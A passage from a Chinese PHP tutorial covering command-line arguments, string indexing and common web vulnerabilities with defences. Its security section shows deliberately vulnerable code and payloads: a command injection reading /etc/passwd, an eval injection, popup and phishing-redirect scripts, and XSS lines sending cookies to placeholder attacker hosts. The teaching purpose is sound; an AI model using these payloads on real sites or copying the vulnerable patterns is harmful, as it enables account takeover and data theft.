$options = "f:g:";
$opts = getopt( $options );
print_r($opts);
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
运行结果:
Array
(
[f] => 123
[g] => 456
)
方法三 提示用户输入,然后获取输入的参数。有点像C语言
复制代码 代码如下:
fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN));
fwrite(STDOUT, "Hello, $name!");
在命令行下运行 /usr/local/php/bin/php ./getopt.php
运行结果
Enter your name: francis
Hello, francis!
7. php的字符串即可以当做数组,和c指针字符串一样
复制代码 代码如下:
<?php
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?>
结果是10345
8. PHP的高效率写法:
9. PHP的安全漏洞问题:
针对PHP的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
如:
复制代码 代码如下:
<?php
$dir = $_GET["dir"];
if (isset($dir)) {
echo "";
system("ls -al ".$dir);
echo "";
}
?>
我们提交?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
2、eval注入(Eval Injection)
eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。
复制代码 代码如下:
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交?arg=phpinfo();漏洞就产生了;
防范命令注入和eval注入的方法
1)、尽量不要执行外部命令。
2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“\'”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
3、客户端脚本攻击(Script Insertion)
客户端脚本植入的攻击步骤
1)、攻击者注册普通用户后登陆网站
2)、打开留言页面,插入攻击的js代码
3)、其他用户登录网站(包括管理员),浏览此留言的内容
4)、隐藏在留言内容中的js代码被执行,攻击成功
表单输入一些浏览器可以执行的脚本:
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
4、跨网站脚本攻击(Cross Site Scripting, XSS)
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
或者是链接:
w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >
2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3)、网站执行了此xss攻击脚本
4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5)、攻击者使用目标用户的信息登录网站,完成攻击
防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
5、SQL注入攻击(SQL injection)
SQL注入最有效的防御方式是使用准备语句: